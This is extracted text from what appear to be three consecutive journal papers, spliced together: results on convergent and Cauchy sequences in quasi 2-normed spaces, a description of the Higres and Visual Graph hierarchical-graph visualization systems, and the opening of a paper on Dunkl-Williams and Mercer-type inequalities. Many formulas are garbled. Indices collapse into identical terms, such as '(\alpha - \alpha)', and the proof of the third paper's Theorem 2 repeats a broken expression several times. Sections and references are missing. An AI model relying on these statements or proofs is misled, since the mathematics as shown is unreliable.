Lemma 1 ([4]). If $L$ is a quasi 2-normed space with modulus of concavity $C \geq 1$, then for each $n > 1$ and for all $z, x_1, x_2, \ldots, x_n \in L$ it holds true that

$$\| \sum_{i=1}^{n} x_i, z \| \leq C^{1 + \log_2(n-1)} \sum_{i=1}^{n} \| x_i, z \|. \quad ■$$

Definition 3 ([7]). Quasi 2-norm $\| \cdot \|_P$ given in Theorem 1 is called $(2, p)$–norm, and quasi 2-normed space $L$ is called $(2, p)$–normed space.

2. CONVERGENT SEQUENCES IN QUASI 2-NORMED SPACE

In [7] C. Park has defined a convergent sequence in quasi 2-normed space, i.e. has given the following definition.

Definition 4 ([7]). Let $L$ be a quasi 2-normed space. The sequence $\{x_n\}_{n=1}^{\infty}$ on $L$ is called convergent sequence if it exists $x \in L$ so that

$$\lim_{n \to \infty} \| x_n - x, z \| = 0, \text{ for each } z \in L.$$ 

The vector $x \in L$ is called bound for the sequence $\{x_n\}_{n=1}^{\infty}$.

By the following statements will be proven several basic properties of convergent sequences in quasi 2-normed spaces.
**Lemma 2.** Let $||\cdot||_1$ and $||\cdot||_2$ be equivalent quasi 2-norms on the real vector space $L$.

The sequence $(x_n)_{n=1}^\infty$ converges on the quasi 2-normed space $(L,||\cdot||_1)$ if and only if it converges on the quasi normed space $(L,||\cdot||_2)$.

**Proof.** The proof is directly implied by definitions 2 and 4. ■

**Theorem 2.** Let $(L,||\cdot||)$ be a quasi 2-normed space with modulus of concavity $C$.

a) If $\lim_{n \to \infty} x_n = x$, $\lim_{n \to \infty} y_n = y$, $\lim_{n \to \infty} \alpha_n = \alpha$ and $\lim_{n \to \infty} \beta_n = \beta$, then
\[
\lim_{n \to \infty} (\alpha_n x_n + \beta_n y_n) = \alpha x + \beta y.
\]

b) If $\dim L \geq 2$, $\lim_{n \to \infty} x_n = x$ and $\lim_{n \to \infty} y_n = y$, then $x = y$.

**Proof.** a) Since Lemma 1, it implies that for each $z \in L$,
\[
\left\| \alpha_n x_n + \beta_n y_n - (\alpha x + \beta y), z \right\| = \left\| \alpha_n (x_n - x) + (\alpha - \alpha) x + \beta_n (y_n - y) + (\beta - \beta) y, z \right\|
\]
\[
\leq C^2 (|\alpha_n| \cdot \left\| x_n - x, z \right\| + |\alpha_n - \alpha| \cdot \left\| x, z \right\| + |\beta_n| \cdot \left\| y_n - y, z \right\| + |\beta_n - \beta| \cdot \left\| y, z \right\|).
\]

holds true. By applying that $n \to \infty$ for the latter, and also using the fact that each convergent sequence of real numbers is bounded, we derive the equality (2).

b) Since definition 1, it implies that for each $z \in L$
\[
\left\| x - y, z \right\| \leq C(\left\| x - x_n, z \right\| + \left\| x_n - y, z \right\|)
\]
holds true. By applying that $n \to \infty$ for the latter, we get that $\left\| x - y, z \right\| = 0$, for each $z \in L$. So, $x - y$ and $z$ are linearly dependent for each $z \in L$ and since $\dim L \geq 2$ we get that $x = y$. ■

**Theorem 3.** Let $L$ be a quasi 2-normed space with modulus of concavity $C \geq 1$, $(x_n)_{n=1}^\infty$ be a sequence on $L$ and $y \in L$ be so that $\lim_{m,n \to \infty} \left\| x_n - x_m, y \right\| = 0$. Then, for each $x \in L$ the real sequence $(\left\| x_n - x, y \right\|)_{n=1}^\infty$ include a convergent subsequence.

**Proof.** According to theorem 1, there exist $p$, $0 < p \leq 1$ and an equivalent quasi 2-norm $\left\| \cdot, \cdot \right\|$ on $L$ so that for any $x, y, z \in L$ the inequality (1) holds true. Thus, there exist $m, M \in \mathbb{R}$ such that
\[
m \left\| x, y \right\| \leq \left\| x, y \right\| \leq M \left\| x, y \right\|
\]
holds true for all $x, y \in L$.

Let $(x_n)_{n=1}^\infty$ be a sequence on $L$ and $y \in L$ be so that $\lim_{m,n \to \infty} \left\| x_n - x_m, y \right\| = 0$ is satisfied. The inequalities (3) imply that $\lim_{m,n \to \infty} \left\| x_n - x_m, y \right\| = 0$. Further, by applying the inequality (1) we get that
\[ \|x_n - x, y\|^p = \|x_n - x_m + x_m - x, y\|^p \leq \|x_n - x, y\|^p + \|x_m - x, y\|^p \]
holds true, So,
\[ \|x_n - x, y\|^p - \|x_n - x, y\|^p \leq \|x_n - x, y\|^p . \]
Analogously,
\[ \|x_m - x, y\|^p - \|x_n - x, y\|^p \leq \|x_n - x, y\|^p . \]
The last two inequalities imply that
\[ \|x_n - x, y\|^p - \|x_m - x, y\|^p \leq \|x_n - x, y\|^p , \]
and since \( \lim_{n\to\infty} \|x_n - x, y\|^p = 0 \), we get that the real sequence \( \{\|x_n - x, y\|^p\}_{n=1}^{\infty} \) is Cauchy, that is convergent sequence. Thus, the sequence \( \{\|x_n - x, y\|^p\}_{n=1}^{\infty} \) is convergent, that is bounded sequence. Then, the inequalities (3) imply that the real sequence \( \{\|x_n - x, y\|^p\}_{n=1}^{\infty} \) is bounded, therefore it consists a convergent subsequence \( \{\|x_n_k - x, y\|^p\}_{k=1}^{\infty} \). ■

**Theorem 4.** Let \( L \) be a quasi 2-normed space with modulus of concavity \( C \geq 1 \), \( \{x_n\}_{n=1}^{\infty} \) be a sequence on \( L \) and \( x, y \in L \) be so that \( \lim_{n\to\infty} \|x_n - x, y\|^p = 0 \). Then, the real sequence \( \{\|x_n, y\|^p\}_{n=1}^{\infty} \) include a convergent subsequence.

**Proof.** According to theorem 1, there exist \( p, \quad 0 < p \leq 1 \) and an equivalent quasi 2-norm \( \|\cdot\| \) on \( L \) so that for any \( x, y, z \in L \) the inequality (1) holds true. Thus, there exist \( m, M \in \mathbb{R} \) such that for all \( x, y \in L \) the inequality (3) holds true.
Let \( \{x_n\}_{n=1}^{\infty} \) be a sequence on \( L \) and \( x, y \in L \) be so that \( \lim_{n\to\infty} \|x_n - x, y\|^p = 0 \). Now, the inequalities (3) imply that \( \lim_{n\to\infty} \|x_n - x, y\|^p = 0 \). Analogously to the proof of theorem 3, we conclude that
\[ \|x_n, y\|^p - \|x, y\|^p \leq \|x_n - x, y\|^p , \]
and since \( \lim_{n\to\infty} \|x_n - x, y\|^p = 0 \), by the inequality (4) we get that the real sequence \( \{\|x_n, y\|^p\}_{n=1}^{\infty} \) is convergent, that is the latter is bounded. Now, the inequality (3) implies that the real sequence \( \{\|x_n, y\|^p\}_{n=1}^{\infty} \) is bounded. Therefore, it includes a convergent subsequence \( \{\|x_{n_k}, y\|^p\}_{k=1}^{\infty} \). ■
3. **Cauchy Sequences in Quasi 2-Normed Space**

**Definition 3** ([7]). Let $L$ be a quasi 2-normed space. The sequence $\{x_n\}_{n=1}^\infty$ on $L$ is called a Cauchy sequence if

$$\lim_{n \to \infty} \|x_m - x_n, z\| = 0, \text{ for each } z \in L.$$  

The quasi 2-normed space $L$ is called a complete if each Cauchy sequence converges on $L$.

**Theorem 5.** Let $(L, \|\cdot\|)$ be a quasi 2-normed space with modulus of concavity $C \geq 1$. If $\{x_n\}_{n=1}^\infty$ is a Cauchy sequence on $L$, then for each $z \in L$ the real sequence $\{\|x_n, z\|\}_{n=1}^\infty$ includes a convergent subsequence.

**Proof.** According to the theorem 1, there exist $p, 0 < p \leq 1$ and an equivalent quasi 2-norm $\|\cdot\|_p$ on $L$ such that for all $x, y, z \in L$ the inequality (1) holds true. Thus, there exist $m, M \in \mathbb{R}$ such that for all $x, y \in L$, the inequality (3) holds true.

Let $\{x_n\}_{n=1}^\infty$ be a Cauchy sequence on $(L, \|\cdot\|)$ and $z \in L$. Since the inequality (3) we get that the sequence $\{x_n\}_{n=1}^\infty$ is Cauchy sequence on $(L, \|\|\cdot\|\|)$. Further, the inequality (1) implies that

$$\|x_n, z\|_p^p = \|(x_n - x_m) + x_m, z\|_p^p \leq \|x_n - x_m, z\|_p^p + \|x_m, z\|_p^p,$$

that is

$$\|x_n, z\|_p^p - \|x_m, z\|_p^p \leq \|x_n - x_m, z\|_p^p.$$

Analogously

$$\|x_m, z\|_p^p - \|x_n, z\|_p^p \leq \|x_n - x_m, z\|_p^p.$$

The last two inequalities imply

$$\|x_m, z\|_p^p - \|x_n, z\|_p^p \leq \|x_n - x_m, z\|_p^p \to 0$$

for $m, n \to \infty$. Thus, the sequence $\{\|x_n, z\|_p\}_{n=1}^\infty$ is Cauchy sequence. The latter means that also the sequence $\{\|x_n, z\|\}_{n=1}^\infty$ is Cauchy sequence. So, it is bounded sequence. Finally the inequalities (3) imply that the real sequence $\{\|x_n, z\|\}_{n=1}^\infty$ is bounded, that is it consists a convergent subsequence. ■

**Theorem 6.** Let $L$ be a quasi 2-normed space with modulus of concavity $C \geq 1$. If $\{x_n\}_{n=1}^\infty$ and $\{y_n\}_{n=1}^\infty$ are Cauchy sequences on $L$ and $\{\alpha_n\}_{n=1}^\infty$ is a real Cauchy sequence, then $\{x_n + y_n\}_{n=1}^\infty$ and $\{\alpha_n x_n\}_{n=1}^\infty$ are Cauchy sequences on $X$.

**Proof.**
\[
\| x_n + y_n - (x_m + y_m), z \| \leq \| (x_n - x_m) + (y_n - y_m), z \| \\
\leq C(\| x_n - x_m, z \| + \| y_n - y_m, z \|)
\]

holds true. Thus, \( \| x_n + y_n - (x_m + y_m), z \| \to 0 \) for \( m, n \to \infty \). So, \( \{ x_n + y_n \}_{n=1}^{\infty} \) is Cauchy sequence on \( L \).

The real sequence \( \{ \alpha_n \}_{n=1}^{\infty} \) is Cauchy, so it is bounded. Further, the proof of theorem 5 implies that the real sequence \( \{ \| x_n, z \| \}_{n=1}^{\infty} \) is bounded. Since
\[
\| \alpha_n x_n - \alpha_m x_m, z \| = \| (\alpha_n x_n - \alpha_n x_m) + (\alpha_n x_m - \alpha_m x_m), z \| \\
\leq C(\| \alpha_n x_n - \alpha_n x_m, z \| + \| \alpha_n x_m - \alpha_m x_m, z \|) \\
= C(\| \alpha_n \| \cdot \| x_n - x_m, z \| + \| \alpha_n - \alpha_m \| \cdot \| x_m, z \|)
\]

it follows that \( \| \alpha_n x_n - \alpha_m x_m, z \| \to 0 \) for \( m, n \to \infty \). Thus, the sequence \( \{ \alpha_n x_n \}_{n=1}^{\infty} \) in Cauchy sequence on \( L \).

References


Faculty of informatics, FON University, Skopje, Macedonia

E-mail address: risto.malceski@gmail.com
INFORMATION VISUALIZATION ON THE BASE OF HIERARCHICAL GRAPHS

Victor N. Kasyanov¹), Elena V. Kasyanova²)

Abstract. Graphs are the most common abstract structure encountered in computer science and are widely used for abstract information representation. In the paper, we consider a practical and general graph formalism called hierarchical graphs. It is suited for visual processing and can be used in many areas where the strong structuring of information is needed. We present also the Higres and Visual Graph systems that are aimed at supporting of information visualization on the base hierarchical graph modes.

1. INTRODUCTION

Visualization is a process of transformation of large and complex abstract forms of information into visual form, strengthening user’s cognitive abilities and allowing them to take the most optimal decisions. Graphs are the most common abstract structure encountered in computer science and are widely used for structural information representation [3], [8], [13], [14], [19]. Many graph visualization systems, graph editors and libraries of graph algorithms have been developed in recent years. Examples of these tools include VCG [18], daVinci [5], Graphlet [9], GLT&GET [17].

In some application areas the organization of information is too complex to be modeled by a classical graph. To represent a hierarchical kind of diagramming objects, some more powerful graph formalisms have been introduced, e.g. higraphs [6] and compound digraphs [20]. The higraphs are an extension of hypergraphs and can represent complex relations, using multilevel "blobs" that can enclose or intersect each other. The compound digraphs are an extension of directed graphs and allow both inclusion relations and adjacency relations between vertices, but they are less general then the higraph formalism. One of the recent non-classical graph formalisms is the clustered graphs [4]. A clustered graph consists of an undirected graph and its recursive partitioning into subgraphs. It is a relatively general graph formalism that can handle many applications with hierarchical information, and is amenable to graph drawing.

Hence, there is a need for tools capable of visualization of such structures. Although some general-purpose graph visualization systems provide recursive folding of subgraphs, this feature is used only to hide a part of information and cannot help us to visualize hierarchically structural information. Another weak point is that usual graph
editors do not have a support for attributed graphs. Though the GML file format, used by Graphlet, can store an arbitrary number of labels associated with graph elements, it is impossible to edit and visualize these labels in the Graphlet graph editor. The standard situation for graph editors is to have one text label for each vertex and, optionally, for each edge.

The size of the graph model to view is a key issue in graph visualization [8]. Large graphs pose several difficult problems. If the number of graph elements is large it can compromise performance or even reach the limits of the viewing platform. Even if it is possible to layout and display all the graph elements, the issue of viewability or usability arises, because it will become impossible to discern between nodes and edges of graph model. It is well known that comprehension and detailed analysis of data in graph structures is easiest when the size of the displayed graph is small. Since none of the static layouts can overcome the problems caused by large graphs, hierarchical presentation, interaction and navigation are essential complements in information visualization.

In the paper, we consider a practical and general graph formalism called hierarchical graphs [10]. It is suited for visual processing and can be used in many areas where the strong structuring of information is needed [11], [15], [16]. We present also the Higres and Visual Graph systems that are aimed at supporting of information visualization on the base hierarchical graph modes. The Higres system (http://pco.iis.nsk.su/higres) is a visualization tool and an editor for attributed hierarchical graphs and a platform for execution and animation of graph algorithms. The Visual Graph system (http://www.visualgraph.sourceforge.net) was developed to visualize and explore large hierarchical graphs that present the internal structured information typically found in compilers.

2. HIERARCHICAL GRAPHS AND GRAPH MODELS

Let $G$ be a graph of some type, e.g. $G$ can be an undirected graph, a digraph or a hypergraph (see, e.g. [2]). A graph $C$ is called a fragment of $G$, denoted by $C \subseteq G$, if $C$ includes only elements (vertices and edges) of $G$. A set of fragments $F$ is called a hierarchy of nested fragments of the graph $G$, if $G \in F$ and $C_1 \subseteq C_2$, $C_2 \subseteq C_1$ or $C_1 \cap C_2 = \emptyset$ for any $C_1, C_2 \in F$.

A hierarchical graph $H = (G,T)$ consists of a graph $G$ and a rooted tree $T$ that represents an immediate inclusion relation between fragments of a hierarchy $F$ of nested fragments of $G$. $G$ is called the underlying graph of $H$. $T$ is called the inclusion tree of $H$.

A hierarchical graph $H$ is called a connected one, if each fragment from $F$ is a connected graph, and a simple one, if all fragments from $F$ are induced subgraphs of $G$.

It should be noted that any clustered graph $H$ can be considered as a simple hierarchical graph $H=(G, T)$, such that $G$ is an undirected graph and the leaves of $T$ are exactly the trivial subgraphs of $G$. 
A drawing (or layout) $D$ of a hierarchical graph $H = (G,T)$ is a representation of $H$ in the plane such that the following properties hold. Each vertex of $G$ is represented either by a point or by a simple closed region. The region is defined by its boundary — a simple closed curve in the plane. Each edge of $G$ is represented by a simple curve between the drawings of its endpoints. Each fragment of $H$ is drawn as a simple closed region which includes all vertices, edges and subfragments of the fragment.

$D$ is a structural drawing of $H$ if for any fragment $C$ all vertices and fragments that are not included in $C$ are located outside the region $R$ of $C$ and for any edge $u = \{p, q\}$ of $G$ intersection of representation of $u$ with the boundary of $R$ is nonempty only if $u \not\in C$ and consists of no many than $|\{p, q\} \cap C|$ points.

A hierarchical graph is called a planar one if it has such a structural drawing that there are no crossing between distinct edges and the boundaries of distinct fragments.

The following properties hold.

**Theorem 1.** There are nonplanar hierarchical graphs $H=(G,T)$ with planar underlying graphs $G$.

**Theorem 2.** There are nonplanar hierarchical graphs $H=(G,T)$ having nonstructural planar drawing.

**Theorem 3.** A simple connected hierarchical graph $H=(G,T)$ is a planar graph if and only if there is such a planar drawing $D$ of $G$ that for any vertex $p$ of $T$ all vertices and edges of $G-G(p)$ are in the outer face of the drawing of $G(p)$.

Let $V$ be a set of objects called simple labels (e.g. $V$ can include some numbers, strings, terms and graphs). Let $W$ be a set of label types of graph elements and let a label set $V(w) = V_1 \times V_2 \times \ldots \times V_s$, where $s \geq 1$ and for any $i, 1 \leq i \leq s, V_i \subseteq V$, be associated with each $w \in W$. A labelled hierarchical graph is a triple $(H, M, L)$, where $H$ is a hierarchical graph, $M$ is a type function which assigns to each element (vertex, edge and fragment) $h$ of $H$ its type $M(h) \in W$, and $L$ is a label function, which assigns to each element $h$ of $H$ its label $L(h) \in V(M(h))$.

The semantics of a hierarchical graph model is provided by an equivalence relation which can be specified in different ways, e.g. it can be defined via invariants (i.e. properties being inherent in equivalent labelled graphs) or by means of so-called equivalent transformations that preserve the invariants.

Many problems in program optimization have been solved by applying a technique called interval analysis to the control flow graph of the program [7], [12]. A control flow graph which is susceptible to this type of analysis is called reducible.

Let $F$ be a minimal set which includes $G$ and is closed under the following property: if $C \in F$ and $p$ is such an entry vertex of $C$ that subgraph $\{p\}$ does not belong to $F$ then $F$ contains all maximum strongly connected subgraphs of graph which is obtained from $C$ by removing of all edges which are ingoing in $p$. Let $H_F=(G,T)$ be such a simple
A hierarchical graph supported by the Higres consists of vertices, fragments and edges which we call objects. Vertices and edges form an underlying graph. This graph can be directed or undirected. Multiple edges and loops are also allowed.

The semantics of a hierarchical graph is represented in Higres by means of object types and external modules. Each object in the graph belongs to an object type with a defined set of labels. Each label has its data type, name and several other parameters. A set of values is associated with each object according to the set of labels defined for the object type to which this object belongs. These values, along with partitioning of objects to types, represent the semantics of the graph. New object types and labels can be created by the user.

In the Higres system each fragment is represented by a rectangle. All vertices of this fragment and all subfragments are located inside this rectangle. Fragments, as well as vertices, never overlap each other. Each fragment can be closed or open. When a fragment is open, its content is visible; when it is closed, it is drawn as an empty rectangle with only label text inside it. A separate window can be opened to observe each fragment. Only content of this fragment is shown in this window, though it is possible to see this content inside windows of parent fragments if the fragment is open.

Most part of visual attributes of an object is defined by its type. This means that semantically relative objects have similar visual representation. The Higres system uses a flexible technique to visualize object labels. The user specifies a text template for each object type. This template is used to create the label text of objects of the given type by inserting labels' values of an object.

Other visualization features include the following: various shapes and styles for vertices; polyline and smooth curved edges; various styles for edge lines and arrows; the possibility to scale graph image to an arbitrary size; edge text movable along the edge line; colour selection for all graph components; external vertex text movable around the
vertex; font selection for labels text; two graphical output formats; a number of options to control the graph visualization.

The comfortable and intuitive user interface was one of our main objectives in developing Higres. The system's main window contains a toolbar that provides a quick access to frequently used menu commands and object type selection for creation of new objects. The status bar displays menu and toolbar hints and other useful information on current edit operation.

The system uses two basic modes: view and edit. In the view mode it is possible only to open/close fragments and fragment windows, but the scrolling operations are extended with mouse scrolling. In the edit mode the left mouse button is used to select objects and the right mouse button displays the popup menu, in which the user can choose the operation he/she wants to perform. It is also possible to create new objects by selecting commands in this menu. The left mouse button can be also used to move vertices, fragments, labels texts and edge bends, and resize vertices and fragments. All edit operations are gathered in a single edit mode. To our opinion, it is more useful approach (especially for inexperienced users) than division into several modes. However, for adherents of the last case we provide two additional modes. Their usage is optional but in some cases they may be useful: the "creation" mode for object creation and "labels" mode for labels editing.

Other interface features include the following: almost unlimited number of undo levels; optimized screen update; automatic elimination of objects overlapping; automatic vertex size adjusting; grid with several parameters; a number of options that configure the user interface; online help available for each menu, dialog box and editor mode.

To run an algorithm in the Higres system, the user should select an external module in the dialog box. The system starts this module and opens the process window that is used to control the algorithm execution.

Higres provides the run-time animation of algorithms. It also caches samples for the repeated and backward animation. A set of parameters is defined inside a module. These parameters can be changed by the user at any execution step. The module can ask user to input strings and numbers. It can also send any textual information to the protocol that is shown in the process window.

A wide range of semantic and graph drawing algorithms can be implemented as external modules. As examples now we have modules that simulate finite automata, Petry nets and imperative program schemes. The animation feature can be used for algorithm debugging, educational purposes and exploration of iteration processes such as force methods in graph drawing.

A special C++ API that can be used to create external modules is provided. This API includes functions for graph modification and functions that provide interaction with the Higres system. It is unnecessary for programmer, who uses this API, to know the details of the internal representation of graphs and system/module communication interface. Hence, the creation of new modules in the Higres system is a rather simple work.
4. THE VISUAL GRAPH SYSTEM

Visual Graph is a tool that automatically calculates a customizable multi-aspect layout of hierarchical graph models specified in GraphML language [1]. This layout is then displayed, and can be interactively explored, extended and analyzed.

Visual Graph was developed to visualize and explore large graphs that present the internal structured information typically found in compilers. Visual Graph reads a textual and human-readable GraphML specification and visualizes the hierarchical graph models specified. Its design has been optimized to handle large graphs automatically generated by compilers and other applications.

Visual Graph provides tools for analyzing graph structures. Structural analysis means solving advanced questions that relate to a graph structure, for instance, determining a shortest path between two nodes.

Simple possibilities to extend the functionality of Visual Graph (for example, to add a new layout, search, analysis or navigating algorithm, a new tool for processing information associated with elements of graph models and so on) are provided.

GraphML (Graph Markup Language) is a comprehensive and easy-to-use file format for graphs [1]. It consists of a language core (known as the Structural Layer) to describe structural properties of one or more graphs and a flexible extension mechanism, e.g. to add application-specific data. Its main features include support of directed, undirected, mixed multigraphs, hypergraphs, hierarchical graphs, multiple graphs in a single file, application-specific data, and references to external data.

Two extensions, adding support of meta-information for light-weight parsers (Parse Extension) and typed attribute data (Attributes Extension) are currently part of the GraphML specification.

Unlike many other file formats for graphs, GraphML does not use a custom syntax. Instead, it is defined as an XML (Extensible Markup Language) sublanguage and hence ideally suited as an exchange format for all kinds of services generating or processing graphs.

Visual Graph was designed to explore large graphs that consist of many hundreds of thousands of elements. However, the layout of large graphs may require considerable time. Thus, there are two main ways to speed up the layout algorithm: multi-aspect layout of graph and control of layout algorithms.

The first way in visualizing a large graph is aimed at avoiding computing the layout of parts of the graph that are currently not of interest. Interactive exploring of graph is based on step by step construction of so-called multi-aspect layout of graph being a set of drawings of some subgraphs of the graph.

For presentation of multi-aspects layout a set of windows which includes a separate window for visualization of each considered subgraph is used. At each step of the construction a layout algorithm is applied to a subgraph being interested to user at this step. To indicate the interested subgraph the user can select its elements in the active window or in the navigator.
Information visualization on the base of hierarchical graphs

The user can also define some condition in the filter or in the search panel. Then the condition will be used for searching of graph elements which will form the interested subgraph. The search can be performed both locally (in some part of graph, e.g. through a subgraph presented in the active window) or globally (around the entire graph). Multi-aspect drawing of graph models makes every visible part of the graph smaller, thus enabling the layout to be calculated faster and the quality of the layout to be improved.

In order to further reduce layout time, it is possible to control the layout algorithms, e.g. some layout phases can be omitted or the maximum number of iterations of some layout phases can be limited. However, this usually decreases the quality of the layout. The user can improve the layout by hand, e.g. by moving of nodes or changing of their sizes or forms.

Visual Graph offers several tools for navigating through a graph model: minimap, navigator, attribute panel, filter, search panel, notebook.

The authors are thankful to all colleagues taking part in the projects described. The work was partially supported by the Russian Foundation for Basic Research (grants N 12-07-00091, N 15-07-02029).

References


1) Institute of Informatics Systems, Novosibirsk State University, Novosibirsk, Russia
   *E-mail address*: knv@iis.nsk.su

2) Institute of Informatics Systems, Novosibirsk State University, Novosibirsk, Russia
   *E-mail address*: kev@iis.nsk.su
INEQUALITIES OF DUNKL-WILLIAMS AND MERCER IN QUASI 2-NORMED SPACE

Katerina Anevska¹ and Samoil Malčeski²

Abstract. C. Park [3] introduced the term of quasi 2-normed space, and further he has also proved few properties of quasi 2-norm. M. Kir and M. Acikgoz [4] gave the procedure for completing the quasi 2-normed space. Families of quasi-norms generated by quasi 2-norm are considered in [2] and are also proven few statements according to that ones. The inequalities of Dunkl-Williams, Mercer, Pečarić-Rajić and the sharp parallelepiped inequalities are fundamental in the theory of a 2-normed spaces. In quasi 2-normed spaces are proven, [1] and[2], the analogous inequalities of sharp inequalities and inequalities of Pečarić-Rajić type. In this paper will be considered inequalities, which are analogies to Dunkl-Williams and Mercer inequalities in quasi 2-normed spaces.

1. Introduction

S. Gähler (1965) gave the term of 2-norm ([11]). One of the axioms of 2-norm is the parallelepiped inequality, which is basic one in the theory of 2-normed spaces. Precisely this inequality, analogous as in normed spaces, C. Park has replaced by a new condition, and thus he actually obtained the following definition of quasi 2-normed space:

Definition 1 ([3]). Let \( L \) be a real vector space and \( \dim L \geq 2 \). Quasi 2-norm is real function \( \| \cdot \| : L \times L \to [0, \infty) \) such that:

a) \( \| x, y \| \geq 0 \), for all \( x, y \in L \) and \( \| x, y \| = 0 \) iff the set \( \{ x, y \} \) is linearly dependent;

b) \( \| x, y \| = \| y, x \| \), for all \( x, y \in L \);

c) \( \| \alpha x, y \| = |\alpha| \cdot \| x, y \| \), for all \( x, y \in L \) and for each \( \alpha \in \mathbb{R} \), and

d) it exists a constant \( C \geq 1 \) so that \( \| x + y, z \| \leq C(\| x, z \| + \| y, z \|) \), holds for all \( x, y, z \in L \).

An ordered pair \((L, \| \cdot, \cdot \|)\) is called as quasi 2-normed space. The smallest possible \( C \) such that it satisfies the condition \( d \) is called as modulus of concavity of quasi 2-norm \( \| \cdot, \cdot \| \).

2010 Mathematics Subject Classification. Primary: 46B20 Secondary: 26D15

Key words and phrases. quasi 2-normed spaces, \((2,p)\)-norm, inequality of Dunkl-Williams,
Further, M. Kir and M. Acikgoz [4] have given few examples of trivial quasi 2-normed spaces and have also considered the question about completing a quasi 2-normed space. In [2] is proven the following Lemma which is one of the basic while proving important inequalities in quasi 2-normed spaces.

**Lemma 1.** If \( L \) is a quasi 2-normed space with modulus of concavity \( C \geq 1 \), then
\[
\left\| \sum_{i=1}^{n} x_i, z \right\| \leq C^{1+\left[ \log_2(n-1) \right]} \sum_{i=1}^{n} \left\| x_i \right\|.
\]
(1)
holds for each \( n>1 \) and for all \( z, x_1, x_2, ..., x_n \in L \). ■

Further, C. Park gave a characterization of quasi 2-normed space, i.e. proved the following theorem.

**Theorem 1 ([3]).** Let \((L, \| \cdot, \cdot \|)\) be a quasi 2-normed space. It exists \( p, 0 < p \leq 1 \) and an equivalent quasi 2-norm \( \| \cdot, \cdot \| \) over \( L \) so that
\[
\left\| x + y, z \right\|^p \leq \left\| x, z \right\|^p + \left\| y, z \right\|^p,
\]
(2)
holds for all \( x, y, z \in L \). ■

**Definition 2 ([3]).** The quasi 2-norm defined in Theorem 1 is called a \((2, p)\)-norm, and the quasi 2-normed space \( L \) is called a \((2, p)\)-normed space.

2. **OUR RESULTS**

**Theorem 2.** Let \( L \) be a quasi 2-normed space with modulus of concavity \( C \geq 1 \), and \( V(z) \) be the subspace generated by vector \( z \). The following inequality
\[
\left\| \frac{x}{\|x, z\|} - \frac{y}{\|y, z\|}, z \right\| \leq 4C \left( \frac{|x-y|}{\|x, z\|+\|y, z\|} \right) + 2(C-1) \max\left\{ \frac{\|x, z\|}{\|x, z\|+\|y, z\|}, \frac{\|y, z\|}{\|x, z\|+\|y, z\|} \right\},
\]
(3)
holds true for each \( z \in L \setminus \{0\} \) and for all \( x, y \in L \setminus V(z) \).

**Proof.** Let \( z \in L \setminus \{0\} \) and \( x, y \in L \setminus V(z) \). Since definition 1 we get that
\[
\left\| x, z \right\| - \frac{y}{\|y, z\|}, z \right\| + C\left\| x, z \right\| - \frac{y}{\|y, z\|}, z \right\| + C\left\| x, z \right\| - \frac{y}{\|y, z\|}, z \right\| \leq C\left\| x, z \right\| - \frac{y}{\|y, z\|}, z \right\| + C\left\| x, z \right\| - \frac{y}{\|y, z\|}, z \right\| \leq C\left\| x, z \right\| - \frac{y}{\|y, z\|}, z \right\| + C\left\| x, z \right\| - \frac{y}{\|y, z\|}, z \right\|.
\]
(4)
Further, once again definition 1 implies that
\[
\left\| y, z \right\| \leq C \left\| y-x, z \right\| + C\left\| x, z \right\| \text{ and } \left\| x, z \right\| \leq C \left\| x-y, z \right\| + C\left\| y, z \right\|.
\]
Therefore,
\[
\left\| y, z \right\| - \left\| x, z \right\| \leq C \left\| y-x, z \right\| + (C-1) \left\| x, z \right\| \leq C \left\| x-y, z \right\| + (C-1) \max\left\{ \left\| x, z \right\|, \left\| y, z \right\| \right\}
\]
and

\[ \| x, z \| - \| y, z \| \leq C \| x - y, z \| + (C - 1) \| y, z \| \]

i.e. the inequality

\[ \| y, z \| - \| x, z \| \leq C \| x - y, z \| + (C - 1) \max \{\| x, z \|, \| y, z \|}\]  \hspace{1cm} (5)

holds true. The inequalities (4) and (5) imply the inequality

\[ \| x, z \| - \| y, z \| \leq 2C \| x - y, z \| + (C - 1) \max \{\| x, z \|, \| y, z \|}\]  \hspace{1cm} (6)

The following inequality can be proven analogously

\[ \| y, z \| - \| x, z \| \leq 2C \| x - y, z \| + (C - 1) \max \{\| x, z \|, \| y, z \|}\]  \hspace{1cm} (7)

Finally, if we add the inequalities (6) and (7) and so obtained inequality we divide by \(\| x \| + \| y \| > 0\) we get the inequality (3). ■

**Theorem 3.** Let \( L \) be a \((2, p)\)-normed space, \( 0 < p \leq 1 \), and \( V(z) \) be a subspace generated by vector \( z \). Then

\[ \| \frac{x}{\| x, z \|} - \frac{y}{\| y, z \|}, z \| \leq 2 \left\| \frac{x - y, z}{\| x, z \| + \| y, z \|} \right\| \leq \frac{\| x, z \|^p + \| y, z \|^p}{\| x, z \|^p + \| y, z \|^p}, \]

for each \( z \in L \setminus \{0\} \) and for all \( x, y \in L \setminus V(z) \).

**Proof.** Definition 2, i.e. the properties of \((2, p)\)-norm imply that each \( z \in L \setminus \{0\} \) and all \( x, y \in L \setminus V(z) \) satisfy the following

\[ \| x, z \|^p \cdot \| \frac{x}{\| x, z \|} - \frac{y}{\| y, z \|}, z \| \leq \| x, z \|^p \cdot \left\| \frac{x}{\| x, z \|} - \frac{y}{\| y, z \|}, z \right\| \leq \| x, z \|^p \cdot \left\| \frac{x}{\| x, z \|} - \frac{y}{\| y, z \|}, z \right\| \]

\[ \leq \| x, z \|^p + \| y, z \| - \| x, z \| \]  \hspace{1cm} (9)

and

\[ \| y, z \|^p \cdot \| \frac{x}{\| x, z \|} - \frac{y}{\| y, z \|}, z \| \leq \| y, z \|^p \cdot \left\| \frac{x}{\| x, z \|} - \frac{y}{\| y, z \|}, z \right\| \leq \| y, z \|^p \cdot \left\| \frac{x}{\| x, z \|} - \frac{y}{\| y, z \|}, z \right\| \]

\[ \leq \| x, z \|^p + \| y, z \| - \| x, z \| \]  \hspace{1cm} (10)

Finally, if we add the inequalities (9) and (10) and the so obtained inequality we divide by \(\| x \|^p + \| y \|^p > 0\), we get the inequality (8). ■

**Remark 1.** The inequalities (3) and (8) are actually inequalities of Dunkl-Williams type in quasi-normed and \( p \)-normed space, \( 0 < p \leq 1 \), respectively.

**Theorem 4.** Let \( L \) be a quasi 2-normed space with modulus of concavity \( C \geq 1 \). The following statements are equivalent:
1) For each \( z \in L \) and for all \( x, y \in L \),
\[
\| \frac{x}{\|x\|} - \frac{y}{\|y\|}, z \| \leq 2C \left( \frac{\|x-y, z\|}{\|x,z\|+\|y,z\|} \right) + (C-1) \max \left\{ \frac{\|x,z\|\|y,z\|}{\|x,z\|+\|y,z\|} \right\}.
\] (11)

